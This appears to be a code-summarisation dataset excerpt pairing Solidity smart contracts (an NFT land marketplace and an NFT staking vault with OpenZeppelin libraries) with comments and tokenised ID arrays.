return (tokenId, tokenowner, isOwned, isSelling, price);
}
function receiveApproval(address buyer, uint coins, address _coinAddress, bytes32 _data) public {
emit EventReceiveApproval(buyer, coins, _coinAddress, _data);
require(_coinAddress == coinAddress);
string memory dataString = bytes32ToString(_data);
buyTokenWithCoins(buyer, coins, getLon(dataString), getLat(dataString));
}
//changed
function buyTokenWithCoins(address buyer, uint coins, string memory lon, string memory lat) public returns (bool) {
uint tokenId = getTokenId(lon, lat);
address seller = EnumerableMap.get(_tokenOwners,tokenId) ; //_tokenOwners[tokenId];
// unique token not bought yet
if (seller == address(0x0)) {
require(coins >= basePrice);
require(superWorldCoin.balanceOf(buyer) >= basePrice);
if (!superWorldCoin.transferFrom(buyer, address(this), basePrice)) {
return false;
}
createToken(buyer, tokenId, basePrice);
emitBuyTokenEvents(tokenId, lon, lat, buyer, seller, basePrice, now);
return true;
}
return false;
}
//changed
// buy token; returns isSuccess
function buyToken(string memory lon, string memory lat) payable public returns (bool) {
uint tokenId = getTokenId(lon, lat);
uint offerPrice = msg.value;
address seller = (EnumerableMap.get(_tokenOwners,tokenId)) ; // _tokenOwners[tokenId];
// unique token not bought yet
if (seller == address(0x0)) {
require(offerPrice >= basePrice);
require(offerPrice >= basePrices[tokenId]);
createToken(msg.sender, tokenId, offerPrice);
emitBuyTokenEvents(tokenId, lon, lat, msg.sender, seller, offerPrice, now);
return true;
}
// check selling
require(isSellings[tokenId] == true);
// check sell price > 0
require(sellPrices[tokenId] > 0);
// check offer price >= sell price
require(offerPrice >= sellPrices[tokenId]);
// send percentage of cut to contract owner
uint fee = SafeMath.div(SafeMath.mul(offerPrice, percentageCut), 100);
uint priceAfterFee = SafeMath.sub(offerPrice, fee);
// mark not selling
isSellings[tokenId] = false;
// send payment
uint160 by = uint160(seller);
address payable _seller = address(by);
if (!_seller.send(priceAfterFee)) {
// if failed to send, mark selling
isSellings[tokenId] = true;
emit EventBuyTokenFail(tokenId, lon, lat, msg.sender, seller, offerPrice, now);
return false;
}
// transfer token
//removeTokenFrom(seller, tokenId);
//addTokenTo(msg.sender, tokenId);
_holderTokens[seller].remove(tokenId);
_holderTokens[msg.sender].add(tokenId);
recordTransaction(tokenId, offerPrice);
sellPrices[tokenId] = offerPrice;
emitBuyTokenEvents(tokenId, lon, lat, msg.sender, seller, offerPrice, now);
return true;
}
//changed
function emitBuyTokenEvents(uint tokenId, string memory lon, string memory lat, address buyer, address seller, uint offerPrice, uint timestamp) private {
buyId++;
buyIds[tokenId] = buyId;
emit EventBuyToken(buyId, lon, lat, buyer, seller, offerPrice, timestamp);
emit EventBuyTokenId1(buyId, getTokenId(truncateDecimals(lon, 1), truncateDecimals(lat, 1)), lon, lat, buyer, seller, offerPrice, timestamp);
}
// list / delist
//changed
function listToken(string memory lon, string memory lat, uint sellPrice) public {
uint tokenId = getTokenId(lon, lat);
require(msg.sender == EnumerableMap.get(_tokenOwners,tokenId));
isSellings[tokenId] = true;
sellPrices[tokenId] = sellPrice;
emitListTokenEvents(buyIds[tokenId], lon, lat, msg.sender, sellPrice, true, now);
}
//changed
function delistToken(string memory lon, string memory lat) public {
uint tokenId = getTokenId(lon, lat);
require(msg.sender == EnumerableMap.get(_tokenOwners,tokenId));
isSellings[tokenId] = false;
emitListTokenEvents(buyIds[tokenId], lon, lat, msg.sender, sellPrices[tokenId], false, now);
sellPrices[tokenId] = 0;
}
//changed
function emitListTokenEvents(uint _buyId, string memory lon, string memory lat, address seller, uint sellPrice, bool isListed, uint timestamp) private {
listId++;
emit EventListToken(listId, _buyId, lon, lat, seller, sellPrice, isListed, timestamp);
emit EventListTokenId1(listId, _buyId, getTokenId(truncateDecimals(lon, 1), truncateDecimals(lat, 1)), lon, lat, seller, sellPrice, isListed, timestamp);
}
function getPrice(uint tokenId) view public returns (uint) {
if (EnumerableMap.get(_tokenOwners,tokenId) == address(0)) {
// not owned
uint _basePrice = basePrices[tokenId];
if (_basePrice == 0) {
return basePrice;
}
else {
return _basePrice;
}
}
else {
// owned
if (isSellings[tokenId]) {
return sellPrices[tokenId];
}
else {
return boughtPrices[tokenId];
}
}
}
//changed
function truncateDecimals(string memory str, uint decimal) pure public returns (string memory) {
bytes memory strBytes = bytes(str);
uint length = strBytes.length;
uint endIndex = length - 1;
uint i;
for (i = 0; i < length; i++) {
if (strBytes[i] == ".") {
endIndex = i;
}
if (i == endIndex + decimal + 1) {
break;
}
}
if (i >= length) {
return str;
}
return substring(str, 0, i);
}
//changed
function substring(string memory str, uint startIndex, uint endIndex) pure private returns (string memory) {
bytes memory strBytes = bytes(str);
if (endIndex == 0) {
endIndex = strBytes.length;
}
bytes memory result = new bytes(endIndex - startIndex);
for (uint i = startIndex; i < endIndex; i++) {
result[i - startIndex] = strBytes[i];
}
return string(result);
}
//changed
function indexOfComma(string memory str) pure private returns (uint) {
bytes memory strBytes = bytes(str);
uint length = strBytes.length;
for (uint i = 0; i < length; i++) {
if (strBytes[i] == ",") {
return i;
}
}
return 0;
}
//changed
function getLon(string memory str) pure private returns (string memory) {
uint index = indexOfComma(str);
return substring(str, 0, index);
}
//changed
function getLat(string memory str) pure private returns (string memory) {
uint index = indexOfComma(str);
return substring(str, index + 1, 0);
}
//changed
function bytesToString(bytes memory _dataBytes) pure private returns (string memory) {
if (_dataBytes.length == 0) {
return "";
}
bytes32 dataBytes32;
assembly {
dataBytes32 := mload(add(_dataBytes, 32))
}
return bytes32ToString(dataBytes32);
}
//changed
function bytes32ToString(bytes32 _dataBytes32) pure private returns (string memory) {
bytes memory bytesString = new bytes(32);
uint charCount = 0;
uint j;
for (j = 0; j < 32; j++) { //outscope declaration
byte char = byte(bytes32(uint(_dataBytes32) * 2 ** (8 * j)));
if (char != 0) {
bytesString[charCount] = char;
charCount++;
}
}
bytes memory bytesStringTrimmed = new bytes(charCount);
for (j = 0; j < charCount; j++) {
bytesStringTrimmed[j] = bytesString[j];
}
return string(bytesStringTrimmed);
}
function withdrawBalance() public payable {
require(msg.sender == owner);
uint balance = address(this).balance;
uint160 by = uint160(msg.sender);
address payable _by = address(by);
_by.transfer(balance);
//address(msg.sender).transfer(balance);
}
}
| transfer tokenremoveTokenFrom(seller, tokenId);addTokenTo(msg.sender, tokenId); | _holderTokens[seller].remove(tokenId);
| 6,407,354 | [
1,
13866,
1147,
4479,
1345,
1265,
12,
1786,
749,
16,
1147,
548,
1769,
1289,
1345,
774,
12,
3576,
18,
15330,
16,
1147,
548,
1769,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
3639,
389,
4505,
5157,
63,
1786,
749,
8009,
4479,
12,
2316,
548,
1769,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
import {Pausable} from "@openzeppelin/contracts/security/Pausable.sol";
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
import {Math} from "@openzeppelin/contracts/utils/math/Math.sol";
import {EnumerableSet} from "@openzeppelin/contracts/utils/structs/EnumerableSet.sol";
/// @title Celestial Vault
contract CelestialVault is Ownable, Pausable {
using EnumerableSet for EnumerableSet.UintSet;
/* -------------------------------------------------------------------------- */
/* Farming State */
/* -------------------------------------------------------------------------- */
/// @notice Rewards end timestamp.
uint256 public endTime;
/// @notice Rewards emitted per day staked.
uint256 public rate;
/// @notice Staking token contract address.
ICKEY public stakingToken;
/// @notice Rewards token contract address.
IFBX public rewardToken;
/// @notice Set of staked token ids by address.
mapping(address => EnumerableSet.UintSet) internal _depositedIds;
/// @notice Mapping of timestamps from each staked token id.
// mapping(address => mapping(uint256 => uint256)) internal _depositedBlocks;
mapping(address => mapping(uint256 => uint256)) public _depositedBlocks;
constructor(
address newStakingToken,
address newRewardToken,
uint256 newRate,
uint256 newEndTime
) {
stakingToken = ICKEY(newStakingToken);
rewardToken = IFBX(newRewardToken);
rate = newRate;
endTime = newEndTime;
_pause();
}
/* -------------------------------------------------------------------------- */
/* Farming Logic */
/* -------------------------------------------------------------------------- */
/// @notice Deposit tokens into the vault.
/// @param tokenIds Array of token tokenIds to be deposited.
function deposit(uint256[] memory tokenIds) external whenNotPaused {
for (uint256 i = 0; i < tokenIds.length; i++) {
// Add the new deposit to the mapping
_depositedIds[msg.sender].add(tokenIds[i]);
_depositedBlocks[msg.sender][tokenIds[i]] = block.timestamp;
// Transfer the deposited token to this contract
stakingToken.transferFrom(msg.sender, address(this), tokenIds[i]);
}
}
/// @notice Withdraw tokens and claim their pending rewards.
/// @param tokenIds Array of staked token ids.
function withdraw(uint256[] memory tokenIds) external whenNotPaused {
uint256 totalRewards;
for (uint256 i = 0; i < tokenIds.length; i++) {
require(_depositedIds[msg.sender].contains(tokenIds[i]), "Query for a token you don't own");
totalRewards += _earned(_depositedBlocks[msg.sender][tokenIds[i]]);
_depositedIds[msg.sender].remove(tokenIds[i]);
delete _depositedBlocks[msg.sender][tokenIds[i]];
stakingToken.safeTransferFrom(address(this), msg.sender, tokenIds[i]);
}
rewardToken.mint(msg.sender, totalRewards);
}
/// @notice Claim pending token rewards.
function claim() external whenNotPaused {
for (uint256 i = 0; i < _depositedIds[msg.sender].length(); i++) {
// Mint the new tokens and update last checkpoint
uint256 tokenId = _depositedIds[msg.sender].at(i);
rewardToken.mint(msg.sender, _earned(_depositedBlocks[msg.sender][tokenId]));
_depositedBlocks[msg.sender][tokenId] = block.timestamp;
}
}
/// @notice Calculate total rewards for given account.
/// @param account Holder address.
function earned(address account) external view returns (uint256[] memory) {
uint256 length = _depositedIds[account].length();
uint256[] memory rewards = new uint256[](length);
for (uint256 i = 0; i < length; i++){
uint256 tokenId = _depositedIds[account].at(i);
rewards[i] = _earned(_depositedBlocks[account][tokenId]);
}
return rewards;
}
/// @notice Internally calculates rewards for given token.
/// @param timestamp Deposit timestamp.
function _earned(uint256 timestamp) internal view returns (uint256) {
if (timestamp == 0) return 0;
return ((Math.min(block.timestamp, endTime) - timestamp) * rate) / 1 days;
}
/// @notice Retrieve token ids deposited by account.
/// @param account Token owner address.
function depositsOf(address account) external view returns (uint256[] memory) {
uint256 length = _depositedIds[account].length();
uint256[] memory ids = new uint256[](length);
for (uint256 i = 0; i < length; i++) ids[i] = _depositedIds[account].at(i);
return ids;
}
/* -------------------------------------------------------------------------- */
/* Owner Logic */
/* -------------------------------------------------------------------------- */
/// @notice Set the new token rewards rate.
/// @param newRate Emission rate in wei.
function setRate(uint256 newRate) external onlyOwner {
rate = newRate;
}
/// @notice Set the new rewards end time.
/// @param newEndTime End timestamp.
function setEndTime(uint256 newEndTime) external onlyOwner {
require(newEndTime > block.timestamp, "CelestialVault: end time must be greater than now");
endTime = newEndTime;
}
/// @notice Set the new staking token contract address.
/// @param newStakingToken Staking token address.
function setStakingToken(address newStakingToken) external onlyOwner {
stakingToken = ICKEY(newStakingToken);
}
/// @notice Set the new reward token contract address.
/// @param newRewardToken Rewards token address.
function setRewardToken(address newRewardToken) external onlyOwner {
rewardToken = IFBX(newRewardToken);
}
/// @notice Pause the contract.
function pause() external onlyOwner {
_pause();
}
/// @notice Unpause the contract.
function unpause() external onlyOwner {
_unpause();
}
}
interface ICKEY {
function transferFrom(
address from,
address to,
uint256 id
) external;
function safeTransferFrom(
address from,
address to,
uint256 id
) external;
}
interface IFBX {
function mint(address to, uint256 amount) external;
function burn(address from, uint256 amount) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (security/Pausable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor() {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/math/Math.sol)
pragma solidity ^0.8.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow.
return (a & b) + (a ^ b) / 2;
}
/**
* @dev Returns the ceiling of the division of two numbers.
*
* This differs from standard division with `/` in that it rounds up instead
* of rounding down.
*/
function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b - 1) / b can overflow on addition, so we distribute.
return a / b + (a % b == 0 ? 0 : 1);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/structs/EnumerableSet.sol)
pragma solidity ^0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping(bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
// Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
if (lastIndex != toDeleteIndex) {
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex
}
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
return set._values[index];
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function _values(Set storage set) private view returns (bytes32[] memory) {
return set._values;
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(Bytes32Set storage set) internal view returns (bytes32[] memory) {
return _values(set._inner);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(AddressSet storage set) internal view returns (address[] memory) {
bytes32[] memory store = _values(set._inner);
address[] memory result;
assembly {
result := store
}
return result;
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(UintSet storage set) internal view returns (uint256[] memory) {
bytes32[] memory store = _values(set._inner);
uint256[] memory result;
assembly {
result := store
}
return result;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
} | @notice Set the new rewards end time. @param newEndTime End timestamp. | function setEndTime(uint256 newEndTime) external onlyOwner {
require(newEndTime > block.timestamp, "CelestialVault: end time must be greater than now");
endTime = newEndTime;
}
| 11,779,829 | [
1,
694,
326,
394,
283,
6397,
679,
813,
18,
225,
394,
25255,
4403,
2858,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
225,
445,
19743,
950,
12,
11890,
5034,
394,
25255,
13,
3903,
1338,
5541,
288,
203,
565,
2583,
12,
2704,
25255,
405,
1203,
18,
5508,
16,
315,
39,
292,
395,
649,
12003,
30,
679,
813,
1297,
506,
6802,
2353,
2037,
8863,
203,
565,
13859,
273,
394,
25255,
31,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
